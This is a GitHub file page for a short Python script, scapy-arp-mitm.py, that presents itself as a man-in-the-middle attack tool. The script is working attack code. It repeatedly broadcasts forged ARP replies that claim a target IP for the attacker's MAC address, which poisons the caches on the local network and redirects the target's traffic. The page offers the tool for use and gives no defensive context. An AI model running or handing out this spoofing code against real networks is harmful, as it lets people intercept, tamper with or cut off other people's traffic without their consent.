-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathscapy-arp-mitm.py
executable file
·40 lines (33 loc) · 1.18 KB
/
scapy-arp-mitm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
from scapy.all import *
from time import *
from os import *
import sys
try:
print "#################################################"
print "## Man In The Middle with Scapy by Smile ##"
print "#################################################"
interface = sys.argv[1]
targetIP = sys.argv[2]
except:
print "Usage: " + sys.argv[0] + " <Interface> <Target's IP>"
sys.exit(1)
def mitm(interface, targetIP, interval=3):
"""Man In The Middle attack"""
try:
myMAC = get_if_hwaddr(interface)
print "[*] Starting attack ..."
while 1:
sendp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(op="is-at", psrc=targetIP, hwsrc=myMAC))
sleep(interval)
except IOError:
print "[!] Interface doesn't exist"
sys.exit(1)
except KeyboardInterrupt:
pass
print ""
print "[*] Stopping attack"
if not geteuid() == 0:
print "[!] You must to be root"
sys.exit(1)
mitm(interface, targetIP)